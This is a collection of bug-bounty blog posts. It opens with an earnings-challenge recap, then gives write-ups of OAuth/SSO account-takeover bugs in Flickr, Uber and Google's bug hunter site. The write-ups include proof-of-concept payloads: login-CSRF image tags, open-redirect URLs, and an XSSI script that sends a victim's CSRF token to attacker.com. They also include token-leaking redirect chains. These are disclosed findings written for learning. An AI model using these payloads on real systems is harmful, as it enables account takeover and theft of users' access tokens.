1k Per Day Challenge — Earning 30k in 30 Days

It starts with this tweet

Since money is one of the best way to keep hunters motivated, going after a difficult monetary goal would be a fun way to push ourself to limit.

So I decided to set myself a short term target, to get 30k bounty money within 30 days. Here is the summary of my 30 days. (This is not a technical sharing post)

I have to confess that the goal is to earn 30k from 1 Oct to 31 Oct in the tweet, but due to some changes in Yahoo payment policy, I have no choice but to shift the date from Sep 29 to Oct 29, I promise it is still 30 days in total.

I know I am cheating in some way, but hey that’s what hunters do, we cheat a lot to squeeze the bugs, you know what I mean 😉

HackerOne $28,900

Screen Shot 2017-11-01 at 8.13.32 PM

LINE $1,500

Screen Shot 2017-11-01 at 8.41.28 PM

BugCrowd 

Screen Shot 2017-11-01 at 8.43.30 PM

In the end, I got 1,500 + 600 + 28,900 = $31,000 ,which is $1000 more than the challenge, I am happy with the results. I strongly suggest hunters go hunt after LINE, although they pay slowly (2 months), they have really good team with amazing response time and reward. I found 2 authentication problems in them and got 11k in total. It is a target that definitely deserve more attention.

Finally, here to announce my next challenge. Again, 30k in Oct 29 to Nov 29, I will try not to shift the date this time.

PS: Drafting Uber Account Takeover findings, if you want first hand update, here is my twitter @ngalongc 

Advertisements

One More Thing to Check for SSO – Flickr ATO

I have something that is worth sharing when you are testing for SSO system. Hope you can learn something new after reading this blog post.

This bug is about the old login flow of Flickr, please refer to mishre great post to learn about the importance of .data parameter. In short, whoever steal the .data value could takeover victim’s Flickr account.

Like many other bug hunters, I have multiple Yahoo! accounts, at one point, I have Account A session under *.yahoo.com, and have Account B session under *.flickr.com, which is not my intended setup. Then I luckily browse to  https://www.flickr.com/login base on browsing history in URL bar. And then something interesting show up on screen.

Screen Shot 2017-08-29 at 12.31.08 PM.png

It said, You are logging in as ngalongc, are you switching your account to ronchan5?

The reason that this page is interesting is not because its content, it is interesting because the URL of that page actually is storing the .data of user temporarily. After some validation, I confirm the .data could be reused. Like thousands of other oauth/sso write-ups, this is the point we need a open redirect and steal the URL by using referer technique.

As you can see on the image, there is a pass parameter in the URL, it turns out the pass parameter is used for URL redirection, it has some whitelist validation in place to prevent open redirect, but it could be bypassed by this payload

https://www.flickr.com/cookie_check.gne?pass=https://www.flickr.com%252f@hackerone.com/yahoo

Now we have everything, open redirect under oauth endpoint, .data in URL, .data could be reused, what is left for this exploit to work for all user?

Victim needs to have exact same scenario as attacker, which is, they have account A authenticated in *.yahoo.com, and account B authenticated in *.flickr.com.

As this scenario is not that common for normal user, this would drastically decrease the security impact of this bug. As learned from OSCP, we will try harder, we will find a workaround to make it work across all user.

I kept observing the login flow, finally I notice one simple fact that could turn this bug works universally. Flickr is vulnerable to Login CSRF.

With this new knowledge, we can first, force victim to login our flickr account while keeping victim’s yahoo session intact, then send the exploit payload to victim have their payload stolen by using the open redirect.

PoC in action

<img
src="https://www.flickr.com/signin/yahoo/?.data={attacker_data_here}&.ys=">
<!-- Above image is CSRF login in action -->

location.href="https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3D%2fcookie_check.gne%3Fpass%3Dhttps%3A%2f%2fwww.flickr.com%2525%2532%2535%2532%2566%2540hackerone.com%252Fyahoo&.crumb=";

Image tag is responsible for login csrf in one get request, and then user is redirected to flickr with my open redirect parameter. Once the user is redirected, his .data will be leaked to hackerone.com

Main Takeaway

Try to re-login the different session when you encounter any SSO, maybe the oauth code or authentication token or something unexpected will be stored in the URL, if so, try to steal it with open redirect.

Backdoor of All Flickr API Calls by XSSI

After reporting the Flickr ATO fix bypass, I left Flickr for a few days and go hunt after Uber. I keep changing the target from time to time when I get bored of the target.

When I get back to Flickr, same sort of request keep appearing in the traffic.

https://api.flickr.com/services/rest?page=1&per_page=6&sample_photos_count=8&viewerNSID=67364537%40N02&method=flickr.groups.recommendations&csrf=1502485507%3Ahzg1234451c92j4i%3A285a4685e2ebc8d7a4b4555a54d77395&api_key=b0faaf195123123cf44a4a14e9dabf&format=json&hermes=1&hermesClient=1&reqId=75e70106&nojsoncallback=1

If you have hunted after Flickr, this request should be familiar to you. Two parameters that got my attention, format, and nojsoncallback

Why? Because seems like we can control the response format, if somehow we can change the format from JSON to XML, or HTML, or JSONP. Then we can further investigate for XSS or XSSI. (I assume readers know what XSSI is, if you don’t know, don’t worry, I don’t know about XSSI until I saw Google Bughunter University)

I change the parameter nojsoncallback=1 to nojsoncallback=0, the response is really what I have expected.

jsonFlickrApi({"groups":{"page":1,"pages":17,"perpage":6,"total":100,"group":[{"nsid":"42097308@N00","name":"Less Is More..."......})

This is obviously an XSSI, but it seems there is a few protection in place that prevent the XSSI attack, they are api_key and csrf.

Soon I find out the api_key is used universally, not bounded to any user session. Only obstacle left for the XSSI is csrf.

I need to dig deeper to see where does this csrf come from. I scroll through the Burp traffic and finally, I saw a request, and the method name of the requset is just amazing

https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0a

The method name is flickr.site.getCsrf, wait, how do we get a csrf token WITHOUT a csrf token? It turns out indeed the user does not need any csrf token to get a csrf token. (Take some time to understand the sentence)

Now we can have a complete PoC.

First, attacker trick victim to visit a malicious site, that host a script to obtain the victim’s csrf token with this script.

 function jsonFlickrApi(a){
 var b = a['token']['_content'];
 location.href="http://attacker.com/csrf_flickr2.php?token=" + b;
}

< script src=https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0 > < /script >

Attacker now have the victim’s csrf token, meaning a free ticket to all of victim’s API calls, now he can just issue any API calls on victim’s behalf since the only protection against XSSI of Flickr API calls is csrf token, and now it’s in attacker’s hand, game over for victim.

Hope you like this, next write up is also about Flickr Account Takeover, stay tuned.

Reward: 7k

[Uber 8k Bug] Login CSRF + Open Redirect = Account Take Over

Have been hunting Uber bugs for quite a while, and this is my first blog post about Uber bug hunting report, hope you like it.

In response to this tweet and this excellent report, I decided to share one of the most unique issue I found in Uber. OAuth Theft.

TL;DR

This bug is in central.uber.com, it uses oauth as login mechanism, however the CSRF parameter is not used correctly, which allow attacker to take advantage of the misused state parameter to perform open redirect and login CSRF, then steal the access token in URL hash after redirect.

 

Login Flow of central.uber.com

This report starts with the login flow of central.uber.com, a few months earlier, when user press login in central.uber.com, it goes like this.

  1. https://central.uber.com/login?state=/somewhere
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
  3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. https://central.uber.com/somewhere

Take some time to read again the login flow, in order to understand this bug, you need to very familiar with the login flow.

When I saw this login flow, my first try to attack this flow is changing the state value from /somewhere to //google.com, to get a potential open redirect, now the flow goes like this.

  1. https://central.uber.com/login?state=//google.com
  2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
  4. //google.com

Wow, I successfully turn this login flow to a open redirect, a very good start for an oauth login flow. Let’s turn this to something more interesting since Uber does not accept open redirect report 🙁

Since the oauth request is using code instead of token, so even with open redirect we cannot steal anything from this flow. So now we change the request from code to token and see what will happen this time.

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
  3. No redirect here 🙁

Because there is no valid code value for https://central.uber.com/oauth2-callback, so that there is no open redirect after step 2. If there is no open redirect, nothing we can do to steal that precious access token. We need a workaround, we need a valid code for that oauth2-callback endpoint.

Login CSRF

It is now the perfect moment for Login CSRF to take advantage in moment like this, since the CSRF parameter state is used as redirect purpose, now we can just simply put our attacker’s own valid oauth code to the endpoint oauth2-callback, and send that to victim, so now victim will correctly redirect to attacker controlled page with the leaked access token.

Limitation

Only requirement of this bug is that the user is already have an authenticated session in login.uber.com, since central.uber.com is an official oauth client, every uber user will accept whatever central.uber.com requests by default.

PoC

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

PoC Login Flow

  1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
  2. https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
  3. //hackerone.com#accesstoken={victim_access_token}

Done! Thanks for reading. Let me know what you think, tweet me @ngalongc

 

Update 2017-08-11: Big thanks to @samidrif for saving this write-up, I lost it once, and promise myself won’t lose it again

How I could Steal Your Google Bug Hunter Account with Two Clicks in IE

This post is another evidence to show how difficult to parse a URL correctly. IE has URL parsing problem, this idea is originated from Sergey Bobrov. And then successfully exploited by filedescriptor in github. Credits to them. Now, this post show how we can defeat the login mechanism that Google Bug Hunter Dashboard site uses,  and steal your access token by two clicks in Internet Explorer.

Google has a vulnerability reward program, that is hosted with domain name withgoogle.com to serve the dashboard for bug hunters. The site URL is https://bughunter.withgoogle.com So for any bug hunters/pentester/hacker who see this, this would usually mean potential weak spots, because session/cookies cannot be shared cross domain, i.e. sessions in google.com cannot share with sessions in withgoogle.com . There must be some login mechanism implemented to log user in from google.com to withgoogle.com. If we can find a weak spot in the process, we can own it.

Login Mechanism

The dashboard for bughunter look like this.

LOST IMAGE

Once we click Sign In, the traffic happens under the hood look like this.

LOST_IMAGE

  1. https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fbughunter.withgoogle.com&ltmpl
  2. Which will then redirect to https://appengine.google.com/_ah/conflogin?continue=https%3A%2F%2Fbughunter.withgoogle.com&pli=1&auth=[token]
  3. Which will then redirect to https://bughunter.withgoogle.com/_ah/conflogin?state=[state token]
  4. Final destination is https://bughunter.withgoogle.com, and in step 4, the cookies/session of user will be set finally.

In this flow, the most important part of auth token here is state parameter. If we are able to steal the state parameter, then we are able to takeover the researcher’s account with the token. You can see in this flow, there is so many redirect is going on under the hood, what if we can make final destination in step 4 to be our owned server, this would essentially mean leaking researcher’s token in the referrer header. So, by using this method, I have tried to change

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fbughunter.withgoogle.com

to

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fwww.mysite.com

It didn’t work, the state token returned in step 3 won’t be valid if I entered any other domain other than https://bughunter.withgoogle.com, this frustrated me of cause. And this is the moment where I choose to submit the report to Google Security Team and later found out my report is invalid because the state token returned in step 3 is invalid to login bug hunter dashboard, if i entered different domain name. It doesn’t sounds good because I made a mistake to submit the report without actually confirming the bug, so I decided to fix my mistake, by keep playing with this mechanism.

URL Encoding

Upon further investigation, I found out that the url decoding is inconsistent in these three domain.

  1. In Step 1, accounts.google.com won’t perform any url decode in the redirect
  2. In Step 2, appengine.google.com would perform at most 2 times in url decode, which mean, it will turn %25%36%32 to b, as well as %62 to b. Two times at most.
  3. In Step 3, bughunter.google.com would perform at most 1 time in url decode, which mean, it will turn %25%36%32 to %62 only. Nothing more, and this is the main subject of this post. Have a look on the traffic of step 3

LOST_IMAGE

 

Can you see the weird behaviour? https://bughunter.withgoogle.com become https://%62%75%67%68%75%6eter.withgoogle.com in Step 3. And this would work perfectly in Firefox and Chrome, as they will decode the Location Header correctly, and redirect user to https://bughunter.withgoogle.com, but not the same case for IE. IE in Windows 7,8.1 will redirect user to https://bughunter.withgoogle.comthgoogle.com If you want to don’t know why, you must have missed the link I provided in the beginning of the article. Since no one claimed comthgoogle.com, attacker could have claimed it and at least launch Open Redirect attack. But Google Security doesn’t like Open Redirect, no reward/fix will be implemented, if it is just Open Redirect.

How can we exploit this behaviour? First thing come to my mind is Referer Leak, at first, I thought by using the payload

Attack Payload:

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2F%25%32%35%25%33%36%25%33%32%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35ter.withgoogle.com&ltmpl

would be enough for Referer Leakage, as I thought 302 redirect in Location Header would atomically include the originated Link in the Referer Header, but I was wrong, 302 redirect won’t include its original site in Referer Header and this is the time I chose to update my submitted report to Google. Again, this is bad, because at that moment I do not know 302 redirect would not include the referer header if its just 302 redirect. I am telling everyone about this as a reminder to all of us, especially myself, confirm the vulnerability before submitting.

I got this report wrong twice, I have to be right in one last time. So I have to keep digging about this flaw, it has to be exploitable. Finally, this page was presented to me when use my attack payload .

LOST_IMAGE

Wait, why would this page appear? It turns out whenever I have more than 1 logged in Google Account, this page would prompt me to choose one of them before logging in bughunter.withgoogle.com . How could this help us in this case, it turns out it helps a lot! Like I said, 302 won’t include referer header of originated site. But this is not the same case if any user action is involved, like clicking a link/button/image. If user clicked on something, and got redirected to other site, the referer remains.

If user visit Site A and Click on Site B which then Redirect to Site C which then Redirect to Site D. All of the redirect request to B,C,D would include site A URL in Referer Header.

This is very important here, because this mean the state token of appengine.com will be leaked to bughunter.withgoogle.comthgoogle.com for IE user in Windows 7,8.1. And how useful is the state token? It turns out it is everything you need in order to have access to BugHunter Dashboard.

I made a few tests, and turns out anyone with the state token in appengine.com like the image I provided above, could takeover the user’s bughunter account. I checked the source code of the “Account Choosing” page.

LOST_IMAGE

The important state token is loaded in the page of “Account Choosing”, this mean, if I could know the URL of Account Choosing Page, then I could takeover the victim’s bughunter account.

A quick recap of the vulnerability here.

  1. Visit https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https%3A%2F%2Fappengine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2F%25%32%35%25%33%36%25%33%32%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35ter.withgoogle.com&ltmpl
  2. If user has more than one logged in google account, it will present a page look https://appengine.google.com/_ah/loginform?state=%5Bstate token]
  3. User click on the Continue button, for fire fox and chrome user, they will be redirected to the correct site bughunter.withgoogle.com. But for IE user, they will be redirected to https://bughunter.withgoogle.comthgoogle.com, which is unclaimed. The referer header would be include the url in previous point.
  4. Owner of  https://bughunter.withgoogle.comthgoogle.com will now be presented with the url of https://appengine.google.com/_ah/loginform?state=%5Bstate token] in referer header, and he can now replay the visit, by using this link, and log in as the victim.

This is it, a small url decoding problem could cause you an account compromise. Upon further investigation, any combo appengine.google.com + *.withgoogle.com is vulnerable to this attack as well.

Flickr ATO Fix Bypass

On Apr 5, I had a look on Flickr login flow with Yahoo. Not after long I ran into a Flickr bug that is quite something, it is a one-click attack (no click is required if the payload is embedded in img src) that allow attacker to steal Flickr’s user access token. So I submitted the bug to Yahoo happily, and hopefully I can get a good response from the report.

The next day, Apr 6, Yahoo team replied and told me it was a duplicate, there was someone who submitted the bug before I do. Heart breaking, but that’s normal for a bug hunter, move on, Ron, move on.

On Apr 21, I come across a tweet and found out the duplicate details, you can read it here.

So I checked the fix by Yahoo, and turned out the fix could be bypassed!

To keep the story short, I assume you have read the blog post above. Remember how Yahoo restrict the redirect_uri directory could only be /signin/yahoo?

If you do something like

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2f..%2f%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr&.crumb=

no access token returned, the directory is difficult to escaped, no more ../

However the payload behind %3f seems quite free to mess with, so I appended a hash behind the URL.

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fflickrrrrr%23&.crumb=

Guess what? The %23 is decoded to be # in the response.

And target .data is appended behind the hash.

This mean, if I can find any open redirect in Flickr, then I can smuggle .data to attacker site.

Open redirect in Flickr is not difficult to find as Yahoo! does not accept Open Redirect as valid report, lucky for me I found one after 5 minutes.

Open Redirect Payload (Fixed now)

https://www.flickr.com/cookie_check.gne?pass=http:www.attacker.com#

The 302 response is

http:www.attacker.com

Now we chain them up.

Stage 1 ->

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fcookie_check.gne%253fpass%253dhttp%253aattacker.com%2523&.crumb=

Stage 2 ->

https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2Fcookie_check.gne%3fpass%3dhttp%3aattacker.com#.data=%5Baccess_token_here%5D&amp;.crumb=

Stage 3 ->


https://www.flickr.com/cookie_check.gne?pass=http:attacker.com#.data=[access_token]

Stage 4 ->

http:attacker.com#.data=[access_token]

This report alone worth 2.5k from Yahoo!, I could not be more thankful for the reward from Yahoo. Stay tuned for the rest of my 6k finding in Flickr, it is not fixed entirely at this moment, I will update the finding here once its fixed. Hope you like this story.